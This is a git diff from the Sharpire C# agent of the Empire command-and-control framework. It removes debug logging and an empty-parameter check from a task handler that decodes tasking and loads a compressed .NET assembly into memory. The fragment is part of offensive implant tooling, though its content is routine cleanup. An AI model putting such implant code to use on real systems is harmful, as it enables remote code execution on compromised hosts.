--- Sharpire/Empire.Agent.Coms.cs | 17 ----------------- 1 file changed, 17 deletions(-) diff --git a/Sharpire/Empire.Agent.Coms.cs b/Sharpire/Empire.Agent.Coms.cs index b1b9c88..4f088ab 100755 --- a/Sharpire/Empire.Agent.Coms.cs +++ b/Sharpire/Empire.Agent.Coms.cs @@ -737,12 +737,6 @@ public Byte[] Task120(PACKET packet) string base64JsonString = parts[1]; string jsonString = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(base64JsonString)); - // Log the raw JSON string for debugging - lock (synclock) - { - output += $"[DEBUG] Raw JSON String: {jsonString}\n"; - } - // Manually parse JSON to extract all values as a generic string array var parametersList = new List(); jsonString = jsonString.Trim('{', '}'); // Remove braces if present @@ -760,17 +754,6 @@ public Byte[] Task120(PACKET packet) // Convert list to array and log the parsed values string[] parameters = parametersList.ToArray(); - lock (synclock) - { - output += $"[DEBUG] Parameters Count After Parsing: {parameters.Length}\n"; - output += $"[DEBUG] Parameters After Parsing: {string.Join(", ", parameters)}\n"; - } - - if (parameters.Length == 0) - { - output += "[ERROR] No values extracted from JSON input."; - return EncodePacket(packet.type, output, packet.taskId); - } // Decompress and load the assembly byte[] compressedBytes = Convert.FromBase64String(parts[0]);